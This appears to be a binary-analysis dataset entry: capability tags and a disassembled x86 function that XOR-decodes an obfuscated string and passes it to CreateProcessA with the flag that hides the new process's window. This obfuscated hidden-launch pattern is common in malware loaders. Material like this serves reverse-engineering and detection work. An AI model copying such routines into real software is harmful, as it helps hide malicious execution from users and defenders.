Function at 0x40a460
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xe0
mov eax, dword [0x410040]
xor eax, esp
mov dword [esp + 0xdc], eax
movups xmm0, xmmword [str.A_DQGE__UV]
mov ax, word [0x40ddb0]
xor ecx, ecx
cmp dword [0x410470], 2
movups xmmword [esp], xmm0
mov word [esp + 0x50], ax
movups xmm0, xmmword [0x40dd70]
movups xmmword [esp + 0x10], xmm0
movups xmm0, xmmword [0x40dd80]
movups xmmword [esp + 0x20], xmm0
movups xmm0, xmmword [0x40dd90]
movups xmmword [esp + 0x30], xmm0
movups xmm0, xmmword [0x40dda0]
movups xmmword [esp + 0x40], xmm0
jl 0x40a5e4
movaps xmm0, xmmword [0x40de30]
movaps xmm4, xmmword [0x40ddd0]
movaps xmm3, xmmword [0x40de70]
movaps xmm5, xmmword [0x40ddf0]
movaps xmm6, xmmword [0x40de10]
movaps xmmword [esp + 0x60], xmm0
mov edx, dword [esp + 0x60]
nop dword [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + ecx]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + ecx], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + ecx + 4]
xorps xmm2, xmm0
movd dword [esp + ecx + 4], xmm2
add ecx, 8
cmp ecx, 0x50
jl 0x40a500
cmp ecx, 0x52
jge 0x40a610
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, al
shl dl, 3
sub dl, al
mov al, cl
shl dl, 3
sub al, dl
add al, 0x31
xor byte [esp + ecx], al
inc ecx
cmp ecx, 0x52
jl 0x40a5e4
lea eax, [esp]
push eax
lea ecx, [esp + 0x7c]
call fcn.00404c70
lea ecx, [esp + 0x60]
mov dword [esp + 0x90], 0x44
push ecx
lea ecx, [esp + 0x94]
mov dword [esp + 0xc0], 1
push ecx
push 0
push 0
push 0x8000000
xor eax, eax
xorps xmm0, xmm0
cmp dword [esp + 0xa0], 0xf
push 0
mov word [esp + 0xea], ax
mov word [esp + 0xd8], ax
lea eax, [esp + 0x90]
cmova eax, dword [esp + 0x90]
push 0
push 0
push eax
push 0
movlpd qword [esp + 0xbc], xmm0
movlpd qword [esp + 0xc4], xmm0
movlpd qword [esp + 0xcc], xmm0
movlpd qword [esp + 0xd4], xmm0
movlpd qword [esp + 0xdc], xmm0
movlpd qword [esp + 0xea], xmm0
movlpd qword [esp + 0xf2], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40a6db
push dword [esp + 0x60]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x64]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x8c]
cmp ecx, 0xf
jbe 0x40a716
mov edx, dword [esp + 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a70c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40a70c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040bbef
add esp, 8
mov ecx, dword [esp + 0xdc]
xor ecx, esp
call fcn.0040bba7
mov esp, ebp
pop ebp
ret